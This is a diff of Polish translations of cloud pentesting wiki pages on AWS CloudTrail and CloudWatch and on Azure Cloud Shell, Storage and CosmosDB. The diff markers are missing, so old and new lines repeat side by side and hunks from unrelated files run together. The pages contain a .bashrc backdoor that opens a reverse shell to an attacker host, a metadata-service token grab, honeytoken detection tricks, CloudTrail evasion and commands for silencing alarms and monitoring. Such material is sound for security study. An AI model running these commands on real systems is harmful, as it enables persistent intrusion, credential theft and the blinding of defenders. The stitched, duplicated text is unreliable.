| CloudTrail Log File Integrity | <ul><li>Walidacja, czy logi nie zostały zmanipulowane (zmodyfikowane lub usunięte)</li><li><p>Używa plików skrótów (tworzy hash dla każdego pliku)</p><ul><li>SHA-256 hashing</li><li>SHA-256 z RSA do podpisywania cyfrowego</li><li>klucz prywatny należący do Amazon</li></ul></li><li>Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)</li></ul> |
| Stop unauthorized access | <ul><li><p>Użyj polityk IAM i polityk koszyków S3</p><ul><li>zespół bezpieczeństwa —> dostęp administracyjny</li><li>audytorzy —> dostęp tylko do odczytu</li></ul></li><li>Użyj SSE-S3/SSE-KMS do szyfrowania logów</li></ul> |
| Prevent log files from being deleted | <ul><li>Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków</li><li>Skonfiguruj usuwanie MFA w S3</li><li>Walidacja za pomocą Walidacji Plików Logów</li></ul> |
| Prevent log files from being deleted | <ul><li>Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków</li><li>Skonfiguruj S3 MFA delete</li><li>Walidacja z użyciem Walidacji Plików Logów</li></ul> |
## Access Advisor
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
```
### **CSV Injection**
Możliwe jest przeprowadzenie ataku CVS w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu.\
Możliwe jest przeprowadzenie ataku CSV w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu.\
Poniższy kod wygeneruje wpis logu z nieprawidłową nazwą Trail zawierającą ładunek:
```python
import boto3
@@ -155,7 +155,7 @@ Jednak Honeytokens, takie jak te stworzone przez [**Canarytokens**](https://cana
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ma pewne zasady, aby wykryć, czy klucz należy do [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
- Jeśli **`canarytokens.org`** pojawia się w nazwie roli lub identyfikatorze konta **`534261010715`** pojawia się w komunikacie o błędzie.
- Testując je ostatnio, używają konta **`717712589309`** i nadal mają ciąg **`canarytokens.com`** w nazwie.
- Testując je bardziej niedawno, używają konta **`717712589309`** i nadal mają ciąg **`canarytokens.com`** w nazwie.
- Jeśli **`SpaceCrab`** pojawia się w nazwie roli w komunikacie o błędzie.
- **SpaceSiren** używa **uuid** do generowania nazw użytkowników: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Jeśli **nazwa wygląda na losowo wygenerowaną**, istnieje duże prawdopodobieństwo, że jest to HoneyToken.
@@ -193,7 +193,7 @@ Problem polega na tym, że wynik pokaże błąd wskazujący na identyfikator kon
W przeszłości istniały niektóre **usługi AWS, które nie wysyłały logów do CloudTrail** (znajdź [listę tutaj](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Niektóre z tych usług **odpowiedzą** z **błędem** zawierającym **ARN roli klucza**, jeśli ktoś nieautoryzowany (klucz honeytoken) spróbuje uzyskać do nich dostęp.
W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu**. W ARN atakujący może zobaczyć **identyfikator konta AWS i nazwę**, łatwo jest poznać identyfikatory kont i nazwy firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken.
W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu**. W ARN atakujący może zobaczyć **identyfikator konta AWS i nazwę**, łatwo jest poznać identyfikator konta i nazwy firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken.
![](<../../../../images/image (93).png>)
@@ -206,7 +206,7 @@ W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokol
Niektóre usługi AWS **tworzą pewną infrastrukturę**, taką jak **bazy danych** lub **klastry Kubernetes** (EKS). Użytkownik **rozmawiający bezpośrednio z tymi usługami** (jak API Kubernetes) **nie będzie używał API AWS**, więc CloudTrail nie będzie w stanie zobaczyć tej komunikacji.
Dlatego użytkownik z dostępem do EKS, który odkrył adres URL API EKS, mógłby wygenerować token lokalnie i **rozmawiać z usługą API bezpośrednio, nie będąc wykrytym przez CloudTrail**.
Dlatego użytkownik z dostępem do EKS, który odkrył adres URL API EKS, mógłby wygenerować token lokalnie i **rozmawiać z usługą API bez wykrycia przez CloudTrail**.
Więcej informacji w:
@@ -249,7 +249,7 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
- Usuń koszyk S3
- Zmień politykę koszyka, aby odmówić wszelkich zapisów z usługi CloudTrail
- Dodaj politykę cyklu życia do koszyka S3, aby usunąć obiekty
- Wyłącz klucz kms używany do szyfrowania dzienników CloudTrail
- Wyłącz klucz KMS używany do szyfrowania dzienników CloudTrail
### Ransomware Cloudtrail
@@ -41,7 +41,7 @@ Wymiary to pary klucz-wartość, które są częścią metryk. Pomagają one uni
Statystyki to obliczenia matematyczne wykonywane na danych metrycznych w celu ich podsumowania w czasie. Powszechne statystyki to Średnia, Suma, Minimum, Maksimum i LiczbaPróbek.
- **Przykład**: Obliczanie średniego wykorzystania CPU w ciągu jednej godziny.
- **Przykład**: Obliczanie średniego wykorzystania CPU w okresie jednej godziny.
### Jednostki
@@ -57,12 +57,12 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k
**Kluczowe funkcje**:
- **Widgety**: Elementy budujące pulpity nawigacyjne, w tym wykresy, tekst, alarmy i inne.
- **Widgety**: Bloki budujące pulpit, w tym wykresy, tekst, alarmy i inne.
- **Dostosowanie**: Układ i zawartość mogą być dostosowane do specyficznych potrzeb monitorowania.
**Przykład zastosowania**:
- Jeden pulpit nawigacyjny pokazujący kluczowe metryki dla całego środowiska AWS, w tym instancji EC2, baz danych RDS i kubełków S3.
- Pojedynczy pulpit pokazujący kluczowe metryki dla całego środowiska AWS, w tym instancji EC2, baz danych RDS i koszy S3.
### Strumień metryk i dane metryczne
@@ -73,18 +73,18 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k
**Przykład zastosowania**:
- Wysyłanie metryk w czasie rzeczywistym do zewnętrznej usługi monitorującej w celu zaawansowanej analizy.
- Archiwizowanie metryk w kubełku Amazon S3 do długoterminowego przechowywania i zgodności.
- Archiwizowanie metryk w koszu Amazon S3 do długoterminowego przechowywania i zgodności.
### Alarm
**Alarmy CloudWatch** monitorują twoje metryki i wykonują działania na podstawie zdefiniowanych progów. Gdy metryka przekroczy próg, alarm może wykonać jedną lub więcej akcji, takich jak wysyłanie powiadomień za pośrednictwem SNS, uruchamianie polityki automatycznego skalowania lub uruchamianie funkcji AWS Lambda.
**Alarmy CloudWatch** monitorują twoje metryki i wykonują działania na podstawie zdefiniowanych progów. Gdy metryka przekroczy próg, alarm może wykonać jedno lub więcej działań, takich jak wysyłanie powiadomień za pośrednictwem SNS, uruchamianie polityki automatycznego skalowania lub uruchamianie funkcji AWS Lambda.
**Kluczowe komponenty**:
- **Próg**: Wartość, przy której alarm się uruchamia.
- **Okresy oceny**: Liczba okresów, w których dane są oceniane.
- **Punkty danych do alarmu**: Liczba okresów z osiągniętym progiem potrzebna do uruchomienia alarmu.
- **Akcje**: Co się dzieje, gdy stan alarmu jest uruchamiany (np. powiadomienie za pośrednictwem SNS).
- **Działania**: Co się dzieje, gdy stan alarmu jest uruchamiany (np. powiadomienie za pośrednictwem SNS).
**Przykład zastosowania**:
@@ -103,26 +103,26 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k
- Wykrywanie nietypowych wzorców wykorzystania CPU w instancji EC2, które mogą wskazywać na naruszenie bezpieczeństwa lub problem z aplikacją.
### Reguły Insight i zarządzane reguły Insight
### Reguły spostrzeżeń i zarządzane reguły spostrzeżeń
**Reguły Insight** pozwalają na identyfikację trendów, wykrywanie szczytów lub innych interesujących wzorców w danych metrycznych, wykorzystując **potężne wyrażenia matematyczne** do definiowania warunków, w których powinny być podejmowane działania. Te reguły mogą pomóc w identyfikacji anomalii lub nietypowych zachowań w wydajności i wykorzystaniu zasobów.
**Reguły spostrzeżeń** pozwalają na identyfikację trendów, wykrywanie szczytów lub innych interesujących wzorców w danych metrycznych, wykorzystując **potężne wyrażenia matematyczne** do definiowania warunków, w których powinny być podejmowane działania. Te reguły mogą pomóc w identyfikacji anomalii lub nietypowych zachowań w wydajności i wykorzystaniu zasobów.
**Zarządzane reguły Insight** to wstępnie skonfigurowane **reguły insight dostarczane przez AWS**. Są zaprojektowane do monitorowania konkretnych usług AWS lub powszechnych przypadków użycia i mogą być włączane bez potrzeby szczegółowej konfiguracji.
**Zarządzane reguły spostrzeżeń** to wstępnie skonfigurowane **reguły spostrzeżeń dostarczane przez AWS**. Są zaprojektowane do monitorowania konkretnych usług AWS lub powszechnych przypadków użycia i mogą być włączane bez potrzeby szczegółowej konfiguracji.
**Przykład zastosowania**:
- Monitorowanie wydajności RDS: Włącz zarządzaną regułę insight dla Amazon RDS, która monitoruje kluczowe wskaźniki wydajności, takie jak wykorzystanie CPU, użycie pamięci i I/O dysku. Jeśli którakolwiek z tych metryk przekroczy bezpieczne progi operacyjne, reguła może uruchomić alert lub automatyczną akcję łagodzącą.
- Monitorowanie wydajności RDS: Włącz zarządzaną regułę spostrzeżeń dla Amazon RDS, która monitoruje kluczowe wskaźniki wydajności, takie jak wykorzystanie CPU, użycie pamięci i I/O dysku. Jeśli którakolwiek z tych metryk przekroczy bezpieczne progi operacyjne, reguła może uruchomić alert lub automatyczną akcję łagodzącą.
### Logi CloudWatch <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
Pozwala na **agregację i monitorowanie logów z aplikacji** i systemów z **usług AWS** (w tym CloudTrail) oraz **z aplikacji/systemów** (**CloudWatch Agent** może być zainstalowany na hoście). Logi mogą być **przechowywane bezterminowo** (w zależności od ustawień grupy logów) i mogą być eksportowane.
**Elementy**:
| **Grupa logów** | **Kolekcja strumieni logów**, które dzielą te same ustawienia przechowywania, monitorowania i kontroli dostępu |
| Termin | Definicja |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Strumień logów** | Sekwencja **zdarzeń logów**, które dzielą **ten sam źródło** |
| **Filtry subskrypcyjne**| Definiują **wzorzec filtru, który pasuje do zdarzeń** w danej grupie logów, wysyłają je do strumienia Kinesis Data Firehose, strumienia Kinesis lub funkcji Lambda |
| **Grupa logów** | **Kolekcja strumieni logów**, które dzielą te same ustawienia przechowywania, monitorowania i kontroli dostępu |
| **Strumień logów** | Sekwencja **zdarzeń logów**, które dzielą **ten sam źródło** |
| **Filtry subskrypcyjne** | Definiują **wzorzec filtru, który pasuje do zdarzeń** w danej grupie logów, wysyłają je do strumienia Kinesis Data Firehose, strumienia Kinesis lub funkcji Lambda |
### Monitorowanie i zdarzenia CloudWatch
@@ -216,15 +216,15 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
Atakujący z tymi uprawnieniami mógłby znacznie osłabić infrastrukturę monitorowania i powiadamiania organizacji. Usuwając istniejące alarmy, atakujący mógłby wyłączyć kluczowe powiadomienia informujące administratorów o krytycznych problemach z wydajnością, naruszeniach bezpieczeństwa lub awariach operacyjnych. Ponadto, tworząc lub modyfikując alarmy metryczne, atakujący mógłby również wprowadzać administratorów w błąd fałszywymi powiadomieniami lub uciszać legalne alarmy, skutecznie maskując złośliwe działania i uniemożliwiając terminowe reakcje na rzeczywiste incydenty.
Atakujący z tymi uprawnieniami mógłby znacząco osłabić infrastrukturę monitorowania i powiadamiania organizacji. Usuwając istniejące alarmy, atakujący mógłby wyłączyć kluczowe powiadomienia informujące administratorów o krytycznych problemach z wydajnością, naruszeniach bezpieczeństwa lub awariach operacyjnych. Ponadto, tworząc lub modyfikując alarmy metryczne, atakujący mógłby również wprowadzać administratorów w błąd fałszywymi powiadomieniami lub uciszać legalne alarmy, skutecznie maskując złośliwe działania i uniemożliwiając terminowe reakcje na rzeczywiste incydenty.
Dodatkowo, z uprawnieniem **`cloudwatch:PutCompositeAlarm`**, atakujący mógłby stworzyć pętlę lub cykl alarmów złożonych, gdzie alarm złożony A zależy od alarmu złożonego B, a alarm złożony B również zależy od alarmu złożonego A. W tym scenariuszu nie jest możliwe usunięcie jakiegokolwiek alarmu złożonego, który jest częścią cyklu, ponieważ zawsze istnieje alarm złożony, który zależy od alarmu, który chcesz usunąć.
Dodatkowo, z uprawnieniem **`cloudwatch:PutCompositeAlarm`**, atakujący mógłby stworzyć pętlę lub cykl alarmów złożonych, gdzie alarm złożony A zależy od alarmu złożonego B, a alarm złożony B również zależy od alarmu złożonego A. W tym scenariuszu nie jest możliwe usunięcie jakiegokolwiek alarmu złożonego, który jest częścią cyklu, ponieważ zawsze istnieje jeszcze alarm złożony, który zależy od alarmu, który chcesz usunąć.
```bash
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
aws cloudwatch delete-alarms --alarm-names <value>
aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--no-actions-enabled | --actions-enabled [--alarm-actions <value>] [--insufficient-data-actions <value>] [--ok-actions <value>] ]
```
Przykład poniżej pokazuje, jak uczynić alarm metryczny nieskutecznym:
Przykład ten pokazuje, jak uczynić alarm metryczny nieskutecznym:
- Ten alarm metryczny monitoruje średnie wykorzystanie CPU konkretnej instancji EC2, ocenia metrykę co 300 sekund i wymaga 6 okresów oceny (łącznie 30 minut). Jeśli średnie wykorzystanie CPU przekroczy 60% przez co najmniej 4 z tych okresów, alarm zostanie uruchomiony i wyśle powiadomienie do określonego tematu SNS.
- Poprzez modyfikację progu na więcej niż 99%, ustawienie okresu na 10 sekund, okresów oceny na 8640 (ponieważ 8640 okresów po 10 sekund równa się 1 dzień) oraz punktów danych do alarmu na 8640, konieczne byłoby, aby wykorzystanie CPU przekraczało 99% co 10 sekund przez cały 24-godzinny okres, aby uruchomić alarm.
@@ -254,7 +254,7 @@ Przykład poniżej pokazuje, jak uczynić alarm metryczny nieskutecznym:
```
{{#endtab }}
{{#tab name="Zmodyfikowany Alarm Metryczny" }}
{{#tab name="Modified Metric Alarm" }}
```json
{
"Namespace": "AWS/EC2",
@@ -283,7 +283,7 @@ Przykład poniżej pokazuje, jak uczynić alarm metryczny nieskutecznym:
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
Usuwając akcje alarmowe, atakujący może zapobiec wyzwoleniu krytycznych alertów i automatycznych odpowiedzi, gdy osiągnięty zostanie stan alarmu, na przykład powiadamianie administratorów lub uruchamianie działań auto-skalowania. Niewłaściwe włączanie lub ponowne włączanie akcji alarmowych może również prowadzić do nieoczekiwanych zachowań, zarówno przez reaktywację wcześniej wyłączonych akcji, jak i przez modyfikację, które akcje są wyzwalane, co może powodować zamieszanie i błędne kierowanie w odpowiedzi na incydenty.
Usuwając akcje alarmowe, atakujący mógłby zapobiec uruchomieniu krytycznych powiadomień i automatycznych odpowiedzi, gdy osiągnięty zostanie stan alarmu, na przykład powiadamiając administratorów lub uruchamiając działania auto-skalowania. Niewłaściwe włączenie lub ponowne włączenie akcji alarmowych mogłoby również prowadzić do nieoczekiwanych zachowań, zarówno przez reaktywację wcześniej wyłączonych akcji, jak i przez modyfikację, które akcje są uruchamiane, co potencjalnie powoduje zamieszanie i błędne kierowanie w odpowiedzi na incydenty.
Ponadto, atakujący z odpowiednimi uprawnieniami mógłby manipulować stanami alarmów, mając możliwość tworzenia fałszywych alarmów, aby odwrócić uwagę i zdezorientować administratorów, lub wyciszać prawdziwe alarmy, aby ukryć trwające złośliwe działania lub krytyczne awarie systemu.
@@ -297,7 +297,7 @@ aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM |
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
Atakujący mógłby skompromitować zdolność do wykrywania i reagowania na nietypowe wzorce lub anomalie w danych metrycznych. Usuwając istniejące detektory anomalii, atakujący mógłby wyłączyć krytyczne mechanizmy powiadamiania; a tworząc lub modyfikując je, mógłby albo błędnie skonfigurować, albo stworzyć fałszywe pozytywy, aby odwrócić uwagę lub przytłoczyć monitoring.
Napastnik mógłby skompromitować zdolność do wykrywania i reagowania na nietypowe wzorce lub anomalie w danych metrycznych. Usuwając istniejące detektory anomalii, napastnik mógłby wyłączyć krytyczne mechanizmy powiadamiania; a tworząc lub modyfikując je, mógłby albo błędnie skonfigurować, albo stworzyć fałszywe pozytywy, aby odwrócić uwagę lub przytłoczyć monitoring.
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
@@ -323,7 +323,7 @@ Przykład poniżej pokazuje, jak uczynić detektor anomalii metrycznych nieskute
```
{{#endtab }}
{{#tab name="Zmodyfikowany detektor anomalii metrycznych" }}
{{#tab name="Modified Metric Anomaly Detector" }}
```json
{
"SingleMetricAnomalyDetector": {
@@ -362,9 +362,9 @@ aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
```
**Potencjalny wpływ**: Utrata widoczności monitorowania i wprowadzające w błąd informacje.
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`**
Reguły insight są używane do wykrywania anomalii, optymalizacji wydajności i efektywnego zarządzania zasobami. Usuwając istniejące reguły insight, atakujący mógłby usunąć krytyczne możliwości monitorowania, pozostawiając system niewidomym na problemy z wydajnością i zagrożenia bezpieczeństwa. Dodatkowo, atakujący mógłby tworzyć lub modyfikować reguły insight, aby generować wprowadzające w błąd dane lub ukrywać złośliwe działania, co prowadziłoby do błędnych diagnoz i niewłaściwych reakcji zespołu operacyjnego.
Reguły insight są używane do wykrywania anomalii, optymalizacji wydajności i efektywnego zarządzania zasobami. Usuwając istniejące reguły insight, atakujący mógłby usunąć krytyczne możliwości monitorowania, pozostawiając system niewidomym na problemy z wydajnością i zagrożenia bezpieczeństwa. Dodatkowo, atakujący mógłby tworzyć lub modyfikować reguły insight, aby generować wprowadzające w błąd dane lub ukrywać złośliwe działania, co prowadziłoby do błędnych diagnoz i niewłaściwych reakcji ze strony zespołu operacyjnego.
```bash
aws cloudwatch delete-insight-rules --rule-names <value>
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
@@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules <value>
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
Dezaktywując krytyczne zasady wglądu, atakujący mógłby skutecznie oślepić organizację na kluczowe metryki wydajności i bezpieczeństwa. Z drugiej strony, włączając lub konfigurowując mylące zasady, mogłoby być możliwe generowanie fałszywych danych, tworzenie szumów lub ukrywanie złośliwej aktywności.
Dezaktywując krytyczne zasady wglądu, atakujący mógłby skutecznie oślepić organizację na kluczowe metryki wydajności i bezpieczeństwa. Z drugiej strony, włączając lub konfigurując mylące zasady, mogłoby być możliwe generowanie fałszywych danych, tworzenie szumów lub ukrywanie złośliwej aktywności.
```bash
aws cloudwatch disable-insight-rules --rule-names <value>
aws cloudwatch enable-insight-rules --rule-names <value>
@@ -389,7 +389,7 @@ Atakujący z uprawnieniami **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:P
- **Manipulacja zasobami**: Tworzenie nowych strumieni metrycznych z nadmiernymi danymi mogłoby generować dużo szumów, powodując błędne alerty, maskując prawdziwe problemy.
- **Zakłócenie monitorowania**: Usuwając strumienie metryczne, atakujący zakłóciliby ciągły przepływ danych monitorujących. W ten sposób ich złośliwe działania byłyby skutecznie ukryte.
Podobnie, z uprawnieniem **`cloudwatch:PutMetricData`**, możliwe byłoby dodawanie danych do strumienia metrycznego. Mogłoby to prowadzić do DoS z powodu ilości niewłaściwych danych dodanych, czyniąc go całkowicie bezużytecznym.
Podobnie, z uprawnieniem **`cloudwatch:PutMetricData`**, możliwe byłoby dodawanie danych do strumienia metrycznego. Mogłoby to prowadzić do DoS z powodu ilości niewłaściwych danych, co czyniłoby go całkowicie bezużytecznym.
```bash
aws cloudwatch delete-metric-stream --name <value>
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
@@ -403,7 +403,7 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
Napastnik kontrolowałby przepływ danych metryk w strumieniach (każdy strumień danych, jeśli nie ma ograniczeń zasobów). Posiadając uprawnienie **`cloudwatch:StopMetricStreams`**, napastnicy mogliby ukryć swoje złośliwe działania, zatrzymując krytyczne strumienie metryk.
Napastnik kontrolowałby przepływ dotkniętych strumieni danych metryk (każdy strumień danych, jeśli nie ma ograniczeń zasobów). Posiadając uprawnienie **`cloudwatch:StopMetricStreams`**, napastnicy mogliby ukryć swoje złośliwe działania, zatrzymując krytyczne strumienie metryk.
```bash
aws cloudwatch stop-metric-streams --names <value>
aws cloudwatch start-metric-streams --names <value>
@@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names <value>
### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CloudWatch (obecnie tylko alarmy i zasady Contributor Insights). Może to zakłócić polityki kontroli dostępu w Twojej organizacji oparte na tagach.
Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CloudWatch (obecnie tylko alarmy i zasady Contributor Insights). Może to zakłócić polityki kontroli dostępu w Twojej organizacji oparte na tagach.
```bash
aws cloudwatch tag-resource --resource-arn <value> --tags <value>
aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
@@ -10,21 +10,13 @@ Azure Cloud Shell oferuje dostęp do wiersza poleceń w celu zarządzania zasoba
* **Startup Scripts**: Pliki takie jak .bashrc wykonują się automatycznie na początku każdej sesji, co pozwala na persistent execution, gdy cloud shell się uruchamia.
Example backdoor in .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
Ten backdoor może wykonywać polecenia nawet 5 minut po zakończeniu pracy z chmurą przez użytkownika.
Ten backdoor może wykonywać polecenia nawet 5 minut po zakończeniu sesji chmury przez użytkownika.
Dodatkowo zapytaj o usługi metadanych Azure w celu uzyskania szczegółów instancji i tokenów:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji na temat przechowywania, sprawdź:
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
Principal z tym uprawnieniem będzie mógł **wyświetlić** bloby (pliki) wewnątrz kontenera i **pobierać** pliki, które mogą zawierać **wrażliwe informacje**.
Podmiot z tym uprawnieniem będzie mógł **wyświetlać** bloby (pliki) wewnątrz kontenera i **pobierać** pliki, które mogą zawierać **wrażliwe informacje**.
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -24,9 +24,9 @@ az storage blob download \
--container-name <container-name> \
-n file.txt --auth-mode login
```
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
Osoba z tym uprawnieniem będzie moa **zapisywać i nadpisywać pliki w kontenerach**, co może pozwolić jej na wyrządzenie szkód lub nawet eskalację uprawnień (np. nadpisanie jakiegoś kodu przechowywanego w blobie):
Principal z tym uprawnieniem będzie mó**zapisywać i nadpisywać pliki w kontenerach**, co może pozwolić mu na wyrządzenie szkód lub nawet eskalację uprawnień (np. nadpisanie jakiegoś kodu przechowywanego w blobie):
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
@@ -36,6 +36,6 @@ az storage blob upload \
```
### \*/delete
To pozwoliłoby na usunięcie obiektów w ramach konta magazynu, co może **przerwać niektóre usługi** lub spowodować, że klient **straci cenne informacje**.
To pozwoli na usunięcie obiektów w ramach konta magazynu, co może **przerwać niektóre usługi** lub spowodować, że klient **straci cenne informacje**.
{{#include ../../../banners/hacktricks-training.md}}
@@ -5,27 +5,21 @@
## CosmosDB Post Exploitation
Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Dzięki temu uprawnieniu możesz tworzyć lub aktualizować konta Azure Cosmos DB. Obejmuje to modyfikację ustawień na poziomie konta, dodawanie lub usuwanie regionów, zmianę poziomów spójności oraz włączanie lub wyłączanie funkcji, takich jak zapisy w wielu regionach.
{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować kontenery (kolekcje) w bazie danych SQL konta Azure Cosmos DB. Kontenery służą do przechowywania danych, a zmiany w nich mogą wpływać na strukturę bazy danych i wzorce dostępu.
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować kontenery (kolekcje) w bazie danych SQL konta Azure Cosmos DB. Kontenery są używane do przechowywania danych, a zmiany w nich mogą wpływać na strukturę bazy danych i wzorce dostępu.
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name <container_name> \
--ttl 3600
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować bazy danych SQL w ramach konta Azure Cosmos DB. Umożliwia to zarządzanie strukturą bazy danych i dodawanie nowych baz danych do konta. Chociaż to uprawnienie umożliwia tworzenie baz danych, niewłaściwe lub nieautoryzowane użycie może prowadzić do niepotrzebnego zużycia zasobów, zwiększonych kosztów lub nieefektywności operacyjnych.
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
Dzięki temu uprawnieniu możesz tworzyć lub modyfikować bazy danych SQL w ramach konta Azure Cosmos DB. Umożliwia to zarządzanie strukturą bazy danych i dodawanie nowych baz danych do konta. Chociaż to uprawnienie umożliwia tworzenie baz danych, niewłaściwe lub nieautoryzowane użycie może prowadzić do niepotrzebnego zużycia zasobów, zwiększenia kosztów lub nieefektywności operacyjnych.
```bash
az cosmosdb sql database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
Dzięki temu uprawnieniu możesz zmienić priorytet awaryjny regionów dla konta bazy danych Azure Cosmos DB. Ta akcja określa kolejność, w jakiej regiony stają się główne podczas zdarzenia awaryjnego. Niewłaściwe użycie tego uprawnienia może zakłócić wysoką dostępność bazy danych lub prowadzić do niezamierzonych skutków operacyjnych.
{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name <database_account_name> \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies <region1=priority1> <region2=priority2>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Dzięki temu uprawnieniu możesz regenerować klucze główne lub pomocnicze dla konta Azure Cosmos DB. Zazwyczaj jest to używane w celu zwiększenia bezpieczeństwa poprzez zastąpienie starych kluczy, ale może to zakłócić dostęp do usług lub aplikacji, które polegają na bieżących kluczach.
{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name <account_name> \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind <primary|secondary>
```
{% endcode %}
